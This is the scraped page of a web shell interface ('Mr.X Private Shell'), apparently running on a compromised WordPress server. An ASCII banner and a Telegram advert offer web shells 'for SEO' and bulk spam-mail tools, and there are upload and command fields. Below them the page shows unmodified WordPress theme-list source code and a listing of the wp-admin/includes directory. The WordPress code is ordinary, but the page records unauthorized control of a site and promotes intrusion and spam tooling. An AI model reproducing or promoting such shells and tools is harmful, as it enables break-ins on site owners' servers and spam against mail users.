__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * List Table API: WP_Themes_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying installed themes in a list table.
 *
 * @since 3.1.0
 *
 * @see WP_List_Table
 */
class WP_Themes_List_Table extends WP_List_Table {

	protected $search_terms = array();
	public $features        = array();

	/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_List_Table::__construct() for more information on default arguments.
	 *
	 * @param array $args An associative array of arguments.
	 */
	public function __construct( $args = array() ) {
		parent::__construct(
			array(
				'ajax'   => true,
				'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
			)
		);
	}

	/**
	 * @return bool
	 */
	public function ajax_user_can() {
		// Do not check edit_theme_options here. Ajax calls for available themes require switch_themes.
		return current_user_can( 'switch_themes' );
	}

	/**
	 */
	public function prepare_items() {
		$themes = wp_get_themes( array( 'allowed' => true ) );

		if ( ! empty( $_REQUEST['s'] ) ) {
			$this->search_terms = array_unique( array_filter( array_map( 'trim', explode( ',', strtolower( wp_unslash( $_REQUEST['s'] ) ) ) ) ) );
		}

		if ( ! empty( $_REQUEST['features'] ) ) {
			$this->features = $_REQUEST['features'];
		}

		if ( $this->search_terms || $this->features ) {
			foreach ( $themes as $key => $theme ) {
				if ( ! $this->search_theme( $theme ) ) {
					unset( $themes[ $key ] );
				}
			}
		}

		unset( $themes[ get_option( 'stylesheet' ) ] );
		WP_Theme::sort_by_name( $themes );

		$per_page = 36;
		$page     = $this->get_pagenum();

		$start = ( $page - 1 ) * $per_page;

		$this->items = array_slice( $themes, $start, $per_page, true );

		$this->set_pagination_args(
			array(
				'total_items'     => count( $themes ),
				'per_page'        => $per_page,
				'infinite_scroll' => true,
			)
		);
	}

	/**
	 */
	public function no_items() {
		if ( $this->search_terms || $this->features ) {
			_e( 'No items found.' );
			return;
		}

		$blog_id = get_current_blog_id();
		if ( is_multisite() ) {
			if ( current_user_can( 'install_themes' ) && current_user_can( 'manage_network_themes' ) ) {
				printf(
					/* translators: 1: URL to Themes tab on Edit Site screen, 2: URL to Add Themes screen. */
					__( 'You only have one theme enabled for this site right now. Visit the Network Admin to <a href="%1$s">enable</a> or <a href="%2$s">install</a> more themes.' ),
					network_admin_url( 'site-themes.php?id=' . $blog_id ),
					network_admin_url( 'theme-install.php' )
				);

				return;
			} elseif ( current_user_can( 'manage_network_themes' ) ) {
				printf(
					/* translators: %s: URL to Themes tab on Edit Site screen. */
					__( 'You only have one theme enabled for this site right now. Visit the Network Admin to <a href="%s">enable</a> more themes.' ),
					network_admin_url( 'site-themes.php?id=' . $blog_id )
				);

				return;
			}
			// Else, fallthrough. install_themes doesn't help if you can't enable it.
		} else {
			if ( current_user_can( 'install_themes' ) ) {
				printf(
					/* translators: %s: URL to Add Themes screen. */
					__( 'You only have one theme installed right now. Live a little! You can choose from over 1,000 free themes in the WordPress Theme Directory at any time: just click on the <a href="%s">Install Themes</a> tab above.' ),
					admin_url( 'theme-install.php' )
				);

				return;
			}
		}
		// Fallthrough.
		printf(
			/* translators: %s: Network title. */
			__( 'Only the active theme is available to you. Contact the %s administrator for information about accessing additional themes.' ),
			get_site_option( 'site_name' )
		);
	}

	/**
	 * @param string $which
	 */
	public function tablenav( $which = 'top' ) {
		if ( $this->get_pagination_arg( 'total_pages' ) <= 1 ) {
			return;
		}
		?>
		<div class="tablenav themes <?php echo $which; ?>">
			<?php $this->pagination( $which ); ?>
			<span class="spinner"></span>
			<br class="clear" />
		</div>
		<?php
	}

	/**
	 * Displays the themes table.
	 *
	 * Overrides the parent display() method to provide a different container.
	 *
	 * @since 3.1.0
	 */
	public function display() {
		wp_nonce_field( 'fetch-list-' . get_class( $this ), '_ajax_fetch_list_nonce' );
		?>
		<?php $this->tablenav( 'top' ); ?>

		<div id="availablethemes">
			<?php $this->display_rows_or_placeholder(); ?>
		</div>

		<?php $this->tablenav( 'bottom' ); ?>
		<?php
	}

	/**
	 * @return string[] Array of column titles keyed by their column name.
	 */
	public function get_columns() {
		return array();
	}

	/**
	 */
	public function display_rows_or_placeholder() {
		if ( $this->has_items() ) {
			$this->display_rows();
		} else {
			echo '<div class="no-items">';
			$this->no_items();
			echo '</div>';
		}
	}

	/**
	 * Generates the list table rows.
	 *
	 * @since 3.1.0
	 */
	public function display_rows() {
		$themes = $this->items;

		foreach ( $themes as $theme ) :
			?>
			<div class="available-theme">
			<?php

			$template   = $theme->get_template();
			$stylesheet = $theme->get_stylesheet();
			$title      = $theme->display( 'Name' );
			$version    = $theme->display( 'Version' );
			$author     = $theme->display( 'Author' );

			$activate_link = wp_nonce_url( 'themes.php?action=activate&amp;template=' . urlencode( $template ) . '&amp;stylesheet=' . urlencode( $stylesheet ), 'switch-theme_' . $stylesheet );

			$actions             = array();
			$actions['activate'] = sprintf(
				'<a href="%s" class="activatelink" aria-label="%s">%s</a>',
				$activate_link,
				/* translators: %s: Theme name. */
				esc_attr( sprintf( _x( 'Activate &#8220;%s&#8221;', 'theme' ), $title ) ),
				_x( 'Activate', 'theme' )
			);

			if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
				$actions['preview'] .= sprintf(
					'<a href="%s" class="load-customize hide-if-no-customize">%s</a>',
					wp_customize_url( $stylesheet ),
					__( 'Live Preview' )
				);
			}

			if ( ! is_multisite() && current_user_can( 'delete_themes' ) ) {
				$actions['delete'] = sprintf(
					'<a class="submitdelete deletion" href="%s" onclick="return confirm( \'%s\' );">%s</a>',
					wp_nonce_url( 'themes.php?action=delete&amp;stylesheet=' . urlencode( $stylesheet ), 'delete-theme_' . $stylesheet ),
					/* translators: %s: Theme name. */
					esc_js( sprintf( __( "You are about to delete this theme '%s'\n  'Cancel' to stop, 'OK' to delete." ), $title ) ),
					__( 'Delete' )
				);
			}

			/** This filter is documented in wp-admin/includes/class-wp-ms-themes-list-table.php */
			$actions = apply_filters( 'theme_action_links', $actions, $theme, 'all' );

			/** This filter is documented in wp-admin/includes/class-wp-ms-themes-list-table.php */
			$actions       = apply_filters( "theme_action_links_{$stylesheet}", $actions, $theme, 'all' );
			$delete_action = isset( $actions['delete'] ) ? '<div class="delete-theme">' . $actions['delete'] . '</div>' : '';
			unset( $actions['delete'] );

			$screenshot = $theme->get_screenshot();
			?>

			<span class="screenshot hide-if-customize">
				<?php if ( $screenshot ) : ?>
					<img src="<?php echo esc_url( $screenshot . '?ver=' . $theme->version ); ?>" alt="" />
				<?php endif; ?>
			</span>
			<a href="<?php echo wp_customize_url( $stylesheet ); ?>" class="screenshot load-customize hide-if-no-customize">
				<?php if ( $screenshot ) : ?>
					<img src="<?php echo esc_url( $screenshot . '?ver=' . $theme->version ); ?>" alt="" />
				<?php endif; ?>
			</a>

			<h3><?php echo $title; ?></h3>
			<div class="theme-author">
				<?php
					/* translators: %s: Theme author. */
					printf( __( 'By %s' ), $author );
				?>
			</div>
			<div class="action-links">
				<ul>
					<?php foreach ( $actions as $action ) : ?>
						<li><?php echo $action; ?></li>
					<?php endforeach; ?>
					<li class="hide-if-no-js"><a href="#" class="theme-detail"><?php _e( 'Details' ); ?></a></li>
				</ul>
				<?php echo $delete_action; ?>

				<?php theme_update_available( $theme ); ?>
			</div>

			<div class="themedetaildiv hide-if-js">
				<p><strong><?php _e( 'Version:' ); ?></strong> <?php echo $version; ?></p>
				<p><?php echo $theme->display( 'Description' ); ?></p>
				<?php
				if ( $theme->parent() ) {
					printf(
						/* translators: 1: Link to documentation on child themes, 2: Name of parent theme. */
						' <p class="howto">' . __( 'This <a href="%1$s">child theme</a> requires its parent theme, %2$s.' ) . '</p>',
						__( 'https://developer.wordpress.org/themes/advanced-topics/child-themes/' ),
						$theme->parent()->display( 'Name' )
					);
				}
				?>
			</div>

			</div>
			<?php
		endforeach;
	}

	/**
	 * @param WP_Theme $theme
	 * @return bool
	 */
	public function search_theme( $theme ) {
		// Search the features.
		foreach ( $this->features as $word ) {
			if ( ! in_array( $word, $theme->get( 'Tags' ), true ) ) {
				return false;
			}
		}

		// Match all phrases.
		foreach ( $this->search_terms as $word ) {
			if ( in_array( $word, $theme->get( 'Tags' ), true ) ) {
				continue;
			}

			foreach ( array( 'Name', 'Description', 'Author', 'AuthorURI' ) as $header ) {
				// Don't mark up; Do translate.
				if ( false !== stripos( strip_tags( $theme->display( $header, false, true ) ), $word ) ) {
					continue 2;
				}
			}

			if ( false !== stripos( $theme->get_stylesheet(), $word ) ) {
				continue;
			}

			if ( false !== stripos( $theme->get_template(), $word ) ) {
				continue;
			}

			return false;
		}

		return true;
	}

	/**
	 * Send required variables to JavaScript land
	 *
	 * @since 3.4.0
	 *
	 * @param array $extra_args
	 */
	public function _js_vars( $extra_args = array() ) {
		$search_string = isset( $_REQUEST['s'] ) ? esc_attr( wp_unslash( $_REQUEST['s'] ) ) : '';

		$args = array(
			'search'      => $search_string,
			'features'    => $this->features,
			'paged'       => $this->get_pagenum(),
			'total_pages' => ! empty( $this->_pagination_args['total_pages'] ) ? $this->_pagination_args['total_pages'] : 1,
		);

		if ( is_array( $extra_args ) ) {
			$args = array_merge( $args, $extra_args );
		}

		printf( "<script type='text/javascript'>var theme_list_args = %s;</script>\n", wp_json_encode( $args, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) );
		parent::_js_vars();
	}
}

Filemanager

Name Type Size Permission Actions
admin-filters.php File 7.85 KB 0664
admin.php File 3.54 KB 0664
ajax-actions.php File 148.33 KB 0664
bookmark.php File 11.45 KB 0664
class-automatic-upgrader-skin.php File 3.58 KB 0664
class-bulk-plugin-upgrader-skin.php File 2.53 KB 0664
class-bulk-theme-upgrader-skin.php File 2.6 KB 0664
class-bulk-upgrader-skin.php File 6.59 KB 0664
class-core-upgrader.php File 14.83 KB 0664
class-custom-background.php File 21.18 KB 0664
class-custom-image-header.php File 48.13 KB 0664
class-file-upload-upgrader.php File 4.07 KB 0664
class-ftp-pure.php File 5.3 KB 0664
class-ftp-sockets.php File 8.28 KB 0664
class-ftp.php File 26.73 KB 0664
class-language-pack-upgrader-skin.php File 2.8 KB 0664
class-language-pack-upgrader.php File 15.2 KB 0664
class-pclzip.php File 192.08 KB 0664
class-plugin-installer-skin.php File 11.77 KB 0664
class-plugin-upgrader-skin.php File 3.2 KB 0664
class-plugin-upgrader.php File 22.89 KB 0664
class-theme-installer-skin.php File 12.77 KB 0664
class-theme-upgrader-skin.php File 4.08 KB 0664
class-theme-upgrader.php File 26.27 KB 0664
class-walker-category-checklist.php File 4.97 KB 0664
class-walker-nav-menu-checklist.php File 5.5 KB 0664
class-walker-nav-menu-edit.php File 13.85 KB 0664
class-wp-ajax-upgrader-skin.php File 4.09 KB 0664
class-wp-application-passwords-list-table.php File 6.79 KB 0664
class-wp-automatic-updater.php File 60.45 KB 0664
class-wp-comments-list-table.php File 32.4 KB 0664
class-wp-community-events.php File 18.24 KB 0664
class-wp-debug-data.php File 66.01 KB 0664
class-wp-filesystem-base.php File 23.84 KB 0664
class-wp-filesystem-direct.php File 17.72 KB 0664
class-wp-filesystem-ftpext.php File 22.71 KB 0664
class-wp-filesystem-ftpsockets.php File 18.05 KB 0664
class-wp-filesystem-ssh2.php File 22.76 KB 0664
class-wp-importer.php File 7.34 KB 0664
class-wp-internal-pointers.php File 4.51 KB 0664
class-wp-links-list-table.php File 9.02 KB 0664
class-wp-list-table-compat.php File 1.46 KB 0664
class-wp-list-table.php File 51.76 KB 0664
class-wp-media-list-table.php File 25.29 KB 0664
class-wp-ms-sites-list-table.php File 21.61 KB 0664
class-wp-ms-themes-list-table.php File 27.77 KB 0664
class-wp-ms-users-list-table.php File 15.35 KB 0664
class-wp-plugin-install-list-table.php File 24.54 KB 0664
class-wp-plugins-list-table.php File 56.44 KB 0664
class-wp-post-comments-list-table.php File 1.42 KB 0664
class-wp-posts-list-table.php File 63.66 KB 0664
class-wp-privacy-data-export-requests-list-table.php File 5.43 KB 0664
class-wp-privacy-data-removal-requests-list-table.php File 5.58 KB 0664
class-wp-privacy-policy-content.php File 31.9 KB 0664
class-wp-privacy-requests-table.php File 14.44 KB 0664
class-wp-screen.php File 36.47 KB 0664
class-wp-site-health-auto-updates.php File 14 KB 0664
class-wp-site-health.php File 121.89 KB 0664
class-wp-site-icon.php File 6.26 KB 0664
class-wp-terms-list-table.php File 20.73 KB 0664
class-wp-theme-install-list-table.php File 15.23 KB 0664
class-wp-themes-list-table.php File 10.14 KB 0664
class-wp-upgrader-skin.php File 6.94 KB 0664
class-wp-upgrader-skins.php File 1.44 KB 0664
class-wp-upgrader.php File 46.85 KB 0664
class-wp-users-list-table.php File 18.61 KB 0664
comment.php File 6.08 KB 0664
continents-cities.php File 20.06 KB 0664
credits.php File 5.73 KB 0664
dashboard.php File 68.18 KB 0664
deprecated.php File 40.8 KB 0664
edit-tag-messages.php File 1.44 KB 0664
export.php File 25.26 KB 0664
file.php File 95.84 KB 0664
image-edit.php File 43.12 KB 0664
image.php File 41.73 KB 0664
import.php File 6.46 KB 0664
list-table.php File 3.71 KB 0664
media.php File 116.31 KB 0664
menu.php File 9.39 KB 0664
meta-boxes.php File 64.34 KB 0664
misc.php File 44.73 KB 0664
ms-admin-filters.php File 1.27 KB 0664
ms-deprecated.php File 3.68 KB 0664
ms.php File 33.53 KB 0664
nav-menu.php File 48.84 KB 0664
network.php File 26.35 KB 0664
noop.php File 1.12 KB 0664
options.php File 4.19 KB 0664
plugin-install.php File 38.19 KB 0664
plugin.php File 91.33 KB 0664
post.php File 80.39 KB 0664
privacy-tools.php File 32.67 KB 0664
revision.php File 16.18 KB 0664
schema.php File 44.46 KB 0664
screen.php File 6.23 KB 0664
taxonomy.php File 8.23 KB 0664
template.php File 96.96 KB 0664
theme-install.php File 6.83 KB 0664
theme.php File 46.62 KB 0664
translation-install.php File 10.82 KB 0664
update-core.php File 68.86 KB 0664
update.php File 33.63 KB 0664
upgrade.php File 113.3 KB 0664
user.php File 22.98 KB 0664
widgets.php File 10.66 KB 0664
Filemanager